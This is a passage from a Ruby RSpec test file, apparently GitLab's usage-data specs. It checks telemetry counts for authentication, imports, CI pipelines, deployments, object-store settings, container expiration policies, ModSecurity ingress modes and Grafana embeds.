create(:authentication_event, user: user, provider: :ldapmain, result: :success)
create(:authentication_event, user: user2, provider: :ldapsecondary, result: :success)
create(:authentication_event, user: user2, provider: :group_saml, result: :success)
create(:authentication_event, user: user2, provider: :group_saml, result: :success)
create(:authentication_event, user: user, provider: :group_saml, result: :failed)
end
expect(described_class.usage_activity_by_stage_manage({})).to include(
events: 2,
groups: 2,
users_created: 6,
omniauth_providers: ['google_oauth2'],
user_auth_by_provider: { 'group_saml' => 2, 'ldap' => 4, 'standard' => 0, 'two-factor' => 0, 'two-factor-via-u2f-device' => 0, "two-factor-via-webauthn-device" => 0 }
)
expect(described_class.usage_activity_by_stage_manage(described_class.last_28_days_time_period)).to include(
events: 1,
groups: 1,
users_created: 3,
omniauth_providers: ['google_oauth2'],
user_auth_by_provider: { 'group_saml' => 1, 'ldap' => 2, 'standard' => 0, 'two-factor' => 0, 'two-factor-via-u2f-device' => 0, "two-factor-via-webauthn-device" => 0 }
)
end
it 'includes import gmau usage data' do
for_defined_days_back do
user = create(:user)
group = create(:group)
group.add_owner(user)
create(:project, import_type: :github, creator_id: user.id)
create(:jira_import_state, :finished, project: create(:project, creator_id: user.id))
create(:issue_csv_import, user: user)
create(:group_import_state, group: group, user: user)
create(:bulk_import, user: user)
end
expect(described_class.usage_activity_by_stage_manage({})).to include(
unique_users_all_imports: 10
)
expect(described_class.usage_activity_by_stage_manage(described_class.last_28_days_time_period)).to include(
unique_users_all_imports: 5
)
end
it 'includes imports usage data' do
for_defined_days_back do
user = create(:user)
%w(gitlab_project gitlab github bitbucket bitbucket_server gitea git manifest fogbugz phabricator).each do |type|
create(:project, import_type: type, creator_id: user.id)
end
jira_project = create(:project, creator_id: user.id)
create(:jira_import_state, :finished, project: jira_project)
create(:issue_csv_import, user: user)
group = create(:group)
group.add_owner(user)
create(:group_import_state, group: group, user: user)
bulk_import = create(:bulk_import, user: user)
create(:bulk_import_entity, :group_entity, bulk_import: bulk_import)
create(:bulk_import_entity, :project_entity, bulk_import: bulk_import)
end
expect(described_class.usage_activity_by_stage_manage({})).to include(
{
bulk_imports: {
gitlab_v1: 2,
gitlab: Gitlab::UsageData::DEPRECATED_VALUE
},
project_imports: {
bitbucket: 2,
bitbucket_server: 2,
git: 2,
gitea: 2,
github: 2,
gitlab: 2,
gitlab_migration: 2,
gitlab_project: 2,
manifest: 2
},
issue_imports: {
jira: 2,
fogbugz: 2,
phabricator: 2,
csv: 2
},
group_imports: {
group_import: 2,
gitlab_migration: 2
},
projects_imported: {
total: Gitlab::UsageData::DEPRECATED_VALUE,
gitlab_project: Gitlab::UsageData::DEPRECATED_VALUE,
gitlab: Gitlab::UsageData::DEPRECATED_VALUE,
github: Gitlab::UsageData::DEPRECATED_VALUE,
bitbucket: Gitlab::UsageData::DEPRECATED_VALUE,
bitbucket_server: Gitlab::UsageData::DEPRECATED_VALUE,
gitea: Gitlab::UsageData::DEPRECATED_VALUE,
git: Gitlab::UsageData::DEPRECATED_VALUE,
manifest: Gitlab::UsageData::DEPRECATED_VALUE
},
issues_imported: {
jira: Gitlab::UsageData::DEPRECATED_VALUE,
fogbugz: Gitlab::UsageData::DEPRECATED_VALUE,
phabricator: Gitlab::UsageData::DEPRECATED_VALUE,
csv: Gitlab::UsageData::DEPRECATED_VALUE
},
groups_imported: Gitlab::UsageData::DEPRECATED_VALUE
}
)
expect(described_class.usage_activity_by_stage_manage(described_class.last_28_days_time_period)).to include(
{
bulk_imports: {
gitlab_v1: 1,
gitlab: Gitlab::UsageData::DEPRECATED_VALUE
},
project_imports: {
bitbucket: 1,
bitbucket_server: 1,
git: 1,
gitea: 1,
github: 1,
gitlab: 1,
gitlab_migration: 1,
gitlab_project: 1,
manifest: 1
},
issue_imports: {
jira: 1,
fogbugz: 1,
phabricator: 1,
csv: 1
},
group_imports: {
group_import: 1,
gitlab_migration: 1
},
projects_imported: {
total: Gitlab::UsageData::DEPRECATED_VALUE,
gitlab_project: Gitlab::UsageData::DEPRECATED_VALUE,
gitlab: Gitlab::UsageData::DEPRECATED_VALUE,
github: Gitlab::UsageData::DEPRECATED_VALUE,
bitbucket: Gitlab::UsageData::DEPRECATED_VALUE,
bitbucket_server: Gitlab::UsageData::DEPRECATED_VALUE,
gitea: Gitlab::UsageData::DEPRECATED_VALUE,
git: Gitlab::UsageData::DEPRECATED_VALUE,
manifest: Gitlab::UsageData::DEPRECATED_VALUE
},
issues_imported: {
jira: Gitlab::UsageData::DEPRECATED_VALUE,
fogbugz: Gitlab::UsageData::DEPRECATED_VALUE,
phabricator: Gitlab::UsageData::DEPRECATED_VALUE,
csv: Gitlab::UsageData::DEPRECATED_VALUE
},
groups_imported: Gitlab::UsageData::DEPRECATED_VALUE
}
)
end
def omniauth_providers
[
OpenStruct.new(name: 'google_oauth2'),
OpenStruct.new(name: 'ldapmain'),
OpenStruct.new(name: 'group_saml')
]
end
end
describe 'usage_activity_by_stage_monitor' do
it 'includes accurate usage_activity_by_stage data' do
for_defined_days_back do
user = create(:user, dashboard: 'operations')
cluster = create(:cluster, user: user)
create(:project, creator: user)
create(:clusters_applications_prometheus, :installed, cluster: cluster)
create(:project_tracing_setting)
create(:project_error_tracking_setting)
create(:incident)
create(:incident, alert_management_alert: create(:alert_management_alert))
end
expect(described_class.usage_activity_by_stage_monitor({})).to include(
clusters: 2,
clusters_applications_prometheus: 2,
operations_dashboard_default_dashboard: 2,
projects_with_tracing_enabled: 2,
projects_with_error_tracking_enabled: 2,
projects_with_incidents: 4,
projects_with_alert_incidents: 2
)
expect(described_class.usage_activity_by_stage_monitor(described_class.last_28_days_time_period)).to include(
clusters: 1,
clusters_applications_prometheus: 1,
operations_dashboard_default_dashboard: 1,
projects_with_tracing_enabled: 1,
projects_with_error_tracking_enabled: 1,
projects_with_incidents: 2,
projects_with_alert_incidents: 1
)
end
end
describe 'usage_activity_by_stage_plan' do
it 'includes accurate usage_activity_by_stage data' do
for_defined_days_back do
user = create(:user)
project = create(:project, creator: user)
issue = create(:issue, project: project, author: user)
create(:issue, project: project, author: User.support_bot)
create(:note, project: project, noteable: issue, author: user)
create(:todo, project: project, target: issue, author: user)
create(:jira_service, :jira_cloud_service, active: true, project: create(:project, :jira_dvcs_cloud, creator: user))
create(:jira_service, active: true, project: create(:project, :jira_dvcs_server, creator: user))
end
expect(described_class.usage_activity_by_stage_plan({})).to include(
issues: 3,
notes: 2,
projects: 2,
todos: 2,
service_desk_enabled_projects: 2,
service_desk_issues: 2,
projects_jira_active: 2,
projects_jira_dvcs_cloud_active: 2,
projects_jira_dvcs_server_active: 2
)
expect(described_class.usage_activity_by_stage_plan(described_class.last_28_days_time_period)).to include(
issues: 2,
notes: 1,
projects: 1,
todos: 1,
service_desk_enabled_projects: 1,
service_desk_issues: 1,
projects_jira_active: 1,
projects_jira_dvcs_cloud_active: 1,
projects_jira_dvcs_server_active: 1
)
end
end
describe 'usage_activity_by_stage_release' do
it 'includes accurate usage_activity_by_stage data' do
for_defined_days_back do
user = create(:user)
create(:deployment, :failed, user: user)
create(:release, author: user)
create(:deployment, :success, user: user)
end
expect(described_class.usage_activity_by_stage_release({})).to include(
deployments: 2,
failed_deployments: 2,
releases: 2,
successful_deployments: 2
)
expect(described_class.usage_activity_by_stage_release(described_class.last_28_days_time_period)).to include(
deployments: 1,
failed_deployments: 1,
releases: 1,
successful_deployments: 1
)
end
end
describe 'usage_activity_by_stage_verify' do
it 'includes accurate usage_activity_by_stage data' do
for_defined_days_back do
user = create(:user)
create(:ci_build, user: user)
create(:ci_empty_pipeline, source: :external, user: user)
create(:ci_empty_pipeline, user: user)
create(:ci_pipeline, :auto_devops_source, user: user)
create(:ci_pipeline, :repository_source, user: user)
create(:ci_pipeline_schedule, owner: user)
create(:ci_trigger, owner: user)
create(:clusters_applications_runner, :installed)
end
expect(described_class.usage_activity_by_stage_verify({})).to include(
ci_builds: 2,
ci_external_pipelines: 2,
ci_internal_pipelines: 2,
ci_pipeline_config_auto_devops: 2,
ci_pipeline_config_repository: 2,
ci_pipeline_schedules: 2,
ci_pipelines: 2,
ci_triggers: 2,
clusters_applications_runner: 2
)
expect(described_class.usage_activity_by_stage_verify(described_class.last_28_days_time_period)).to include(
ci_builds: 1,
ci_external_pipelines: 1,
ci_internal_pipelines: 1,
ci_pipeline_config_auto_devops: 1,
ci_pipeline_config_repository: 1,
ci_pipeline_schedules: 1,
ci_pipelines: 1,
ci_triggers: 1,
clusters_applications_runner: 1
)
end
end
describe '.data' do
let!(:ud) { build(:usage_data) }
before do
allow(described_class).to receive(:grafana_embed_usage_data).and_return(2)
end
subject { described_class.data }
it 'gathers usage data' do
expect(subject.keys).to include(*UsageDataHelpers::USAGE_DATA_KEYS)
end
it 'gathers usage counts' do
count_data = subject[:counts]
expect(count_data[:boards]).to eq(1)
expect(count_data[:projects]).to eq(4)
expect(count_data.values_at(*UsageDataHelpers::SMAU_KEYS)).to all(be_an(Integer))
expect(count_data.keys).to include(*UsageDataHelpers::COUNTS_KEYS)
expect(UsageDataHelpers::COUNTS_KEYS - count_data.keys).to be_empty
end
it 'gathers usage counts correctly' do
count_data = subject[:counts]
expect(count_data[:projects]).to eq(4)
expect(count_data[:projects_asana_active]).to eq(0)
expect(count_data[:projects_prometheus_active]).to eq(1)
expect(count_data[:projects_jenkins_active]).to eq(1)
expect(count_data[:projects_jira_active]).to eq(4)
expect(count_data[:projects_jira_server_active]).to eq(2)
expect(count_data[:projects_jira_cloud_active]).to eq(2)
expect(count_data[:jira_imports_projects_count]).to eq(2)
expect(count_data[:jira_imports_total_imported_count]).to eq(3)
expect(count_data[:jira_imports_total_imported_issues_count]).to eq(13)
expect(count_data[:projects_slack_active]).to eq(2)
expect(count_data[:projects_slack_slash_commands_active]).to eq(1)
expect(count_data[:projects_custom_issue_tracker_active]).to eq(1)
expect(count_data[:projects_mattermost_active]).to eq(1)
expect(count_data[:groups_mattermost_active]).to eq(1)
expect(count_data[:templates_mattermost_active]).to eq(1)
expect(count_data[:instances_mattermost_active]).to eq(1)
expect(count_data[:projects_inheriting_mattermost_active]).to eq(1)
expect(count_data[:groups_inheriting_slack_active]).to eq(1)
expect(count_data[:projects_with_repositories_enabled]).to eq(3)
expect(count_data[:projects_with_error_tracking_enabled]).to eq(1)
expect(count_data[:projects_with_tracing_enabled]).to eq(1)
expect(count_data[:projects_with_alerts_service_enabled]).to eq(1)
expect(count_data[:projects_with_enabled_alert_integrations]).to eq(1)
expect(count_data[:projects_with_prometheus_alerts]).to eq(2)
expect(count_data[:projects_with_terraform_reports]).to eq(2)
expect(count_data[:projects_with_terraform_states]).to eq(2)
expect(count_data[:projects_with_alerts_created]).to eq(1)
expect(count_data[:protected_branches]).to eq(2)
expect(count_data[:protected_branches_except_default]).to eq(1)
expect(count_data[:terraform_reports]).to eq(6)
expect(count_data[:terraform_states]).to eq(3)
expect(count_data[:issues_created_from_gitlab_error_tracking_ui]).to eq(1)
expect(count_data[:issues_with_associated_zoom_link]).to eq(2)
expect(count_data[:issues_using_zoom_quick_actions]).to eq(3)
expect(count_data[:issues_with_embedded_grafana_charts_approx]).to eq(2)
expect(count_data[:incident_issues]).to eq(4)
expect(count_data[:issues_created_gitlab_alerts]).to eq(1)
expect(count_data[:issues_created_from_alerts]).to eq(3)
expect(count_data[:issues_created_manually_from_alerts]).to eq(1)
expect(count_data[:alert_bot_incident_issues]).to eq(4)
expect(count_data[:incident_labeled_issues]).to eq(3)
expect(count_data[:clusters_enabled]).to eq(6)
expect(count_data[:project_clusters_enabled]).to eq(4)
expect(count_data[:group_clusters_enabled]).to eq(1)
expect(count_data[:instance_clusters_enabled]).to eq(1)
expect(count_data[:clusters_disabled]).to eq(3)
expect(count_data[:project_clusters_disabled]).to eq(1)
expect(count_data[:group_clusters_disabled]).to eq(1)
expect(count_data[:instance_clusters_disabled]).to eq(1)
expect(count_data[:clusters_platforms_eks]).to eq(1)
expect(count_data[:clusters_platforms_gke]).to eq(1)
expect(count_data[:clusters_platforms_user]).to eq(1)
expect(count_data[:clusters_applications_helm]).to eq(1)
expect(count_data[:clusters_applications_ingress]).to eq(1)
expect(count_data[:clusters_applications_cert_managers]).to eq(1)
expect(count_data[:clusters_applications_crossplane]).to eq(1)
expect(count_data[:clusters_applications_prometheus]).to eq(1)
expect(count_data[:clusters_applications_runner]).to eq(1)
expect(count_data[:clusters_applications_knative]).to eq(1)
expect(count_data[:clusters_applications_elastic_stack]).to eq(1)
expect(count_data[:grafana_integrated_projects]).to eq(2)
expect(count_data[:clusters_applications_jupyter]).to eq(1)
expect(count_data[:clusters_applications_cilium]).to eq(1)
expect(count_data[:clusters_management_project]).to eq(1)
expect(count_data[:kubernetes_agents]).to eq(2)
expect(count_data[:kubernetes_agents_with_token]).to eq(1)
expect(count_data[:deployments]).to eq(4)
expect(count_data[:successful_deployments]).to eq(2)
expect(count_data[:failed_deployments]).to eq(2)
expect(count_data[:snippets]).to eq(6)
expect(count_data[:personal_snippets]).to eq(2)
expect(count_data[:project_snippets]).to eq(4)
expect(count_data[:projects_creating_incidents]).to eq(2)
expect(count_data[:projects_with_packages]).to eq(2)
expect(count_data[:packages]).to eq(4)
expect(count_data[:user_preferences_user_gitpod_enabled]).to eq(1)
end
it 'gathers object store usage correctly' do
expect(subject[:object_store]).to eq(
{ artifacts: { enabled: true, object_store: { enabled: true, direct_upload: true, background_upload: false, provider: "AWS" } },
external_diffs: { enabled: false },
lfs: { enabled: true, object_store: { enabled: false, direct_upload: true, background_upload: false, provider: "AWS" } },
uploads: { enabled: nil, object_store: { enabled: false, direct_upload: true, background_upload: false, provider: "AWS" } },
packages: { enabled: true, object_store: { enabled: false, direct_upload: false, background_upload: true, provider: "AWS" } } }
)
end
context 'with existing container expiration policies' do
let_it_be(:disabled) { create(:container_expiration_policy, enabled: false) }
let_it_be(:enabled) { create(:container_expiration_policy, enabled: true) }
%i[keep_n cadence older_than].each do |attribute|
ContainerExpirationPolicy.send("#{attribute}_options").keys.each do |value|
let_it_be("container_expiration_policy_with_#{attribute}_set_to_#{value}") { create(:container_expiration_policy, attribute => value) }
end
end
let_it_be('container_expiration_policy_with_keep_n_set_to_null') { create(:container_expiration_policy, keep_n: nil) }
let_it_be('container_expiration_policy_with_older_than_set_to_null') { create(:container_expiration_policy, older_than: nil) }
let(:inactive_policies) { ::ContainerExpirationPolicy.where(enabled: false) }
let(:active_policies) { ::ContainerExpirationPolicy.active }
subject { described_class.data[:counts] }
it 'gathers usage data' do
expect(subject[:projects_with_expiration_policy_enabled]).to eq 18
expect(subject[:projects_with_expiration_policy_disabled]).to eq 5
expect(subject[:projects_with_expiration_policy_enabled_with_keep_n_unset]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_keep_n_set_to_1]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_keep_n_set_to_5]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_keep_n_set_to_10]).to eq 12
expect(subject[:projects_with_expiration_policy_enabled_with_keep_n_set_to_25]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_keep_n_set_to_50]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_older_than_unset]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_older_than_set_to_7d]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_older_than_set_to_14d]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_older_than_set_to_30d]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_older_than_set_to_90d]).to eq 14
expect(subject[:projects_with_expiration_policy_enabled_with_cadence_set_to_1d]).to eq 14
expect(subject[:projects_with_expiration_policy_enabled_with_cadence_set_to_7d]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_cadence_set_to_14d]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_cadence_set_to_1month]).to eq 1
expect(subject[:projects_with_expiration_policy_enabled_with_cadence_set_to_3month]).to eq 1
end
end
it 'works when queries time out' do
allow_any_instance_of(ActiveRecord::Relation)
.to receive(:count).and_raise(ActiveRecord::StatementInvalid.new(''))
expect { subject }.not_to raise_error
end
it 'includes a recording_ce_finished_at timestamp' do
expect(subject[:recording_ce_finished_at]).to be_a(Time)
end
it 'jira usage works when queries time out' do
allow_any_instance_of(ActiveRecord::Relation)
.to receive(:find_in_batches).and_raise(ActiveRecord::StatementInvalid.new(''))
expect { described_class.jira_usage }.not_to raise_error
end
end
describe '.system_usage_data_monthly' do
let_it_be(:project) { create(:project) }
before do
project = create(:project)
env = create(:environment)
create(:package, project: project, created_at: 3.days.ago)
create(:package, created_at: 2.months.ago, project: project)
[3, 31].each do |n|
deployment_options = { created_at: n.days.ago, project: env.project, environment: env }
create(:deployment, :failed, deployment_options)
create(:deployment, :success, deployment_options)
create(:project_snippet, project: project, created_at: n.days.ago)
create(:personal_snippet, created_at: n.days.ago)
create(:alert_management_alert, project: project, created_at: n.days.ago)
end
stub_application_setting(self_monitoring_project: project)
for_defined_days_back do
create(:product_analytics_event, project: project, se_category: 'epics', se_action: 'promote')
end
end
subject { described_class.system_usage_data_monthly }
it 'gathers monthly usage counts correctly' do
counts_monthly = subject[:counts_monthly]
expect(counts_monthly[:deployments]).to eq(2)
expect(counts_monthly[:successful_deployments]).to eq(1)
expect(counts_monthly[:failed_deployments]).to eq(1)
expect(counts_monthly[:snippets]).to eq(2)
expect(counts_monthly[:personal_snippets]).to eq(1)
expect(counts_monthly[:project_snippets]).to eq(1)
expect(counts_monthly[:projects_with_alerts_created]).to eq(1)
expect(counts_monthly[:packages]).to eq(1)
expect(counts_monthly[:promoted_issues]).to eq(1)
end
end
describe '.usage_counters' do
subject { described_class.usage_counters }
it { is_expected.to include(:kubernetes_agent_gitops_sync) }
it { is_expected.to include(:static_site_editor_views) }
it { is_expected.to include(:package_events_i_package_pull_package) }
it { is_expected.to include(:package_events_i_package_delete_package_by_user) }
it { is_expected.to include(:package_events_i_package_conan_push_package) }
end
describe '.usage_data_counters' do
subject { described_class.usage_data_counters }
it { is_expected.to all(respond_to :totals) }
it { is_expected.to all(respond_to :fallback_totals) }
describe 'the results of calling #totals on all objects in the array' do
subject { described_class.usage_data_counters.map(&:totals) }
it { is_expected.to all(be_a Hash) }
it { is_expected.to all(have_attributes(keys: all(be_a Symbol), values: all(be_a Integer))) }
end
describe 'the results of calling #fallback_totals on all objects in the array' do
subject { described_class.usage_data_counters.map(&:fallback_totals) }
it { is_expected.to all(be_a Hash) }
it { is_expected.to all(have_attributes(keys: all(be_a Symbol), values: all(eq(-1)))) }
end
it 'does not have any conflicts' do
all_keys = subject.flat_map { |counter| counter.totals.keys }
expect(all_keys.size).to eq all_keys.to_set.size
end
end
describe '.license_usage_data' do
subject { described_class.license_usage_data }
it 'gathers license data' do
expect(subject[:uuid]).to eq(Gitlab::CurrentSettings.uuid)
expect(subject[:version]).to eq(Gitlab::VERSION)
expect(subject[:installation_type]).to eq('gitlab-development-kit')
expect(subject[:active_user_count]).to eq(User.active.size)
expect(subject[:recorded_at]).to be_a(Time)
end
end
context 'when not relying on database records' do
describe '.features_usage_data_ce' do
subject { described_class.features_usage_data_ce }
it 'gathers feature usage data', :aggregate_failures do
expect(subject[:instance_auto_devops_enabled]).to eq(Gitlab::CurrentSettings.auto_devops_enabled?)
expect(subject[:mattermost_enabled]).to eq(Gitlab.config.mattermost.enabled)
expect(subject[:signup_enabled]).to eq(Gitlab::CurrentSettings.allow_signup?)
expect(subject[:ldap_enabled]).to eq(Gitlab.config.ldap.enabled)
expect(subject[:gravatar_enabled]).to eq(Gitlab::CurrentSettings.gravatar_enabled?)
expect(subject[:omniauth_enabled]).to eq(Gitlab::Auth.omniauth_enabled?)
expect(subject[:reply_by_email_enabled]).to eq(Gitlab::IncomingEmail.enabled?)
expect(subject[:container_registry_enabled]).to eq(Gitlab.config.registry.enabled)
expect(subject[:dependency_proxy_enabled]).to eq(Gitlab.config.dependency_proxy.enabled)
expect(subject[:gitlab_shared_runners_enabled]).to eq(Gitlab.config.gitlab_ci.shared_runners_enabled)
expect(subject[:web_ide_clientside_preview_enabled]).to eq(Gitlab::CurrentSettings.web_ide_clientside_preview_enabled?)
expect(subject[:grafana_link_enabled]).to eq(Gitlab::CurrentSettings.grafana_enabled?)
expect(subject[:gitpod_enabled]).to eq(Gitlab::CurrentSettings.gitpod_enabled?)
end
context 'with embedded Prometheus' do
it 'returns true when embedded Prometheus is enabled' do
allow(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(true)
expect(subject[:prometheus_enabled]).to eq(true)
end
it 'returns false when embedded Prometheus is disabled' do
allow(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(false)
expect(subject[:prometheus_enabled]).to eq(false)
end
end
context 'with embedded grafana' do
it 'returns true when embedded grafana is enabled' do
stub_application_setting(grafana_enabled: true)
expect(subject[:grafana_link_enabled]).to eq(true)
end
it 'returns false when embedded grafana is disabled' do
stub_application_setting(grafana_enabled: false)
expect(subject[:grafana_link_enabled]).to eq(false)
end
end
context 'with Gitpod' do
it 'returns true when is enabled' do
stub_application_setting(gitpod_enabled: true)
expect(subject[:gitpod_enabled]).to eq(true)
end
it 'returns false when is disabled' do
stub_application_setting(gitpod_enabled: false)
expect(subject[:gitpod_enabled]).to eq(false)
end
end
end
describe '.components_usage_data' do
subject { described_class.components_usage_data }
it 'gathers basic components usage data' do
stub_application_setting(container_registry_vendor: 'gitlab', container_registry_version: 'x.y.z')
expect(subject[:gitlab_pages][:enabled]).to eq(Gitlab.config.pages.enabled)
expect(subject[:gitlab_pages][:version]).to eq(Gitlab::Pages::VERSION)
expect(subject[:git][:version]).to eq(Gitlab::Git.version)
expect(subject[:database][:adapter]).to eq(Gitlab::Database.adapter_name)
expect(subject[:database][:version]).to eq(Gitlab::Database.version)
expect(subject[:database][:pg_system_id]).to eq(Gitlab::Database.system_id)
expect(subject[:mail][:smtp_server]).to eq(ActionMailer::Base.smtp_settings[:address])
expect(subject[:gitaly][:version]).to be_present
expect(subject[:gitaly][:servers]).to be >= 1
expect(subject[:gitaly][:clusters]).to be >= 0
expect(subject[:gitaly][:filesystems]).to be_an(Array)
expect(subject[:gitaly][:filesystems].first).to be_a(String)
expect(subject[:container_registry_server][:vendor]).to eq('gitlab')
expect(subject[:container_registry_server][:version]).to eq('x.y.z')
end
end
describe '.object_store_config' do
let(:component) { 'lfs' }
subject { described_class.object_store_config(component) }
context 'when object_store is not configured' do
it 'returns component enable status only' do
allow(Settings).to receive(:[]).with(component).and_return({ 'enabled' => false })
expect(subject).to eq({ enabled: false })
end
end
context 'when object_store is configured' do
it 'returns filtered object store config' do
allow(Settings).to receive(:[]).with(component)
.and_return(
{ 'enabled' => true,
'object_store' =>
{ 'enabled' => true,
'remote_directory' => component,
'direct_upload' => true,
'connection' =>
{ 'provider' => 'AWS', 'aws_access_key_id' => 'minio', 'aws_secret_access_key' => 'gdk-minio', 'region' => 'gdk', 'endpoint' => 'http://127.0.0.1:9000', 'path_style' => true },
'background_upload' => false,
'proxy_download' => false } })
expect(subject).to eq(
{ enabled: true, object_store: { enabled: true, direct_upload: true, background_upload: false, provider: "AWS" } })
end
end
context 'when retrieve component setting meets exception' do
it 'returns -1 for component enable status' do
allow(Settings).to receive(:[]).with(component).and_raise(StandardError)
expect(subject).to eq({ enabled: -1 })
end
end
end
describe '.object_store_usage_data' do
subject { described_class.object_store_usage_data }
it 'fetches object store config of five components' do
%w(artifacts external_diffs lfs uploads packages).each do |component|
expect(described_class).to receive(:object_store_config).with(component).and_return("#{component}_object_store_config")
end
expect(subject).to eq(
object_store: {
artifacts: 'artifacts_object_store_config',
external_diffs: 'external_diffs_object_store_config',
lfs: 'lfs_object_store_config',
uploads: 'uploads_object_store_config',
packages: 'packages_object_store_config'
})
end
end
describe '.ingress_modsecurity_usage' do
subject { described_class.ingress_modsecurity_usage }
let(:environment) { create(:environment) }
let(:project) { environment.project }
let(:environment_scope) { '*' }
let(:deployment) { create(:deployment, :success, environment: environment, project: project, cluster: cluster) }
let(:cluster) { create(:cluster, environment_scope: environment_scope, projects: [project]) }
let(:ingress_mode) { :modsecurity_blocking }
let!(:ingress) { create(:clusters_applications_ingress, ingress_mode, cluster: cluster) }
context 'when cluster is disabled' do
let(:cluster) { create(:cluster, :disabled, projects: [project]) }
it 'gathers ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(0)
expect(subject[:ingress_modsecurity_blocking]).to eq(0)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
context 'when deployment is unsuccessful' do
let!(:deployment) { create(:deployment, :failed, environment: environment, project: project, cluster: cluster) }
it 'gathers ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(0)
expect(subject[:ingress_modsecurity_blocking]).to eq(0)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
context 'when deployment is successful' do
let!(:deployment) { create(:deployment, :success, environment: environment, project: project, cluster: cluster) }
context 'when modsecurity is in blocking mode' do
it 'gathers ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(0)
expect(subject[:ingress_modsecurity_blocking]).to eq(1)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
context 'when modsecurity is in logging mode' do
let(:ingress_mode) { :modsecurity_logging }
it 'gathers ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(1)
expect(subject[:ingress_modsecurity_blocking]).to eq(0)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
context 'when modsecurity is disabled' do
let(:ingress_mode) { :modsecurity_disabled }
it 'gathers ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(0)
expect(subject[:ingress_modsecurity_blocking]).to eq(0)
expect(subject[:ingress_modsecurity_disabled]).to eq(1)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
context 'when modsecurity is not installed' do
let(:ingress_mode) { :modsecurity_not_installed }
it 'gathers ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(0)
expect(subject[:ingress_modsecurity_blocking]).to eq(0)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(1)
end
end
context 'with multiple projects' do
let(:environment_2) { create(:environment) }
let(:project_2) { environment_2.project }
let(:cluster_2) { create(:cluster, environment_scope: environment_scope, projects: [project_2]) }
let!(:ingress_2) { create(:clusters_applications_ingress, :modsecurity_logging, cluster: cluster_2) }
let!(:deployment_2) { create(:deployment, :success, environment: environment_2, project: project_2, cluster: cluster_2) }
it 'gathers non-duplicated ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(1)
expect(subject[:ingress_modsecurity_blocking]).to eq(1)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
context 'with multiple deployments' do
let!(:deployment_2) { create(:deployment, :success, environment: environment, project: project, cluster: cluster) }
it 'gathers non-duplicated ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(0)
expect(subject[:ingress_modsecurity_blocking]).to eq(1)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
context 'with multiple projects' do
let(:environment_2) { create(:environment) }
let(:project_2) { environment_2.project }
let!(:deployment_2) { create(:deployment, :success, environment: environment_2, project: project_2, cluster: cluster) }
let(:cluster) { create(:cluster, environment_scope: environment_scope, projects: [project, project_2]) }
it 'gathers ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(0)
expect(subject[:ingress_modsecurity_blocking]).to eq(2)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
context 'with multiple environments' do
let!(:environment_2) { create(:environment, project: project) }
let!(:deployment_2) { create(:deployment, :success, environment: environment_2, project: project, cluster: cluster) }
it 'gathers ingress data' do
expect(subject[:ingress_modsecurity_logging]).to eq(0)
expect(subject[:ingress_modsecurity_blocking]).to eq(2)
expect(subject[:ingress_modsecurity_disabled]).to eq(0)
expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
end
end
end
end
describe '.grafana_embed_usage_data' do
subject { described_class.grafana_embed_usage_data }
let(:project) { create(:project) }
let(:description_with_embed) { "Some comment\n\nhttps://grafana.example.com/d/xvAk4q0Wk/go-processes?orgId=1&from=1573238522762&to=1573240322762&var-job=prometheus&var-interval=10m&panelId=1&fullscreen" }
let(:description_with_unintegrated_embed) { "Some comment\n\nhttps://grafana.exp.com/d/xvAk4q0Wk/go-processes?orgId=1&from=1573238522762&to=1573240322762&var-job=prometheus&var-interval=10m&panelId=1&fullscreen" }
let(:description_with_non_grafana_inline_metric) { "Some comment\n\n#{Gitlab::Routing.url_helpers.metrics_namespace_project_environment_url(*['foo', 'bar', 12])}" }
shared_examples "zero count" do
it "does not count the issue" do
expect(subject).to eq(0)
end
end
context 'with project grafana integration enabled' do
before do
create(:grafana_integration, project: project, enabled: true)
end
context 'with valid and invalid embeds' do
before do
# Valid
create(:issue, project: project, description: description_with_embed)
create(:issue, project: project, description: description_with_embed)
# In-Valid
create(:issue, project: project, description: description_with_unintegrated_embed)
create(:issue, project: project, description: description_with_non_grafana_inline_metric)
create(:issue, project: project, description: nil)
create(:issue, project: project, description: '')
create(:issue, project: project)
end
it 'counts only the issues with embeds' do
expect(subject).to eq(2)
end
end
end
context 'with project grafana integration disabled' do
before do
create(:grafana_integration, project: project, enabled: false)
end
context 'with one issue having a grafana link in the description and one without' do
before do
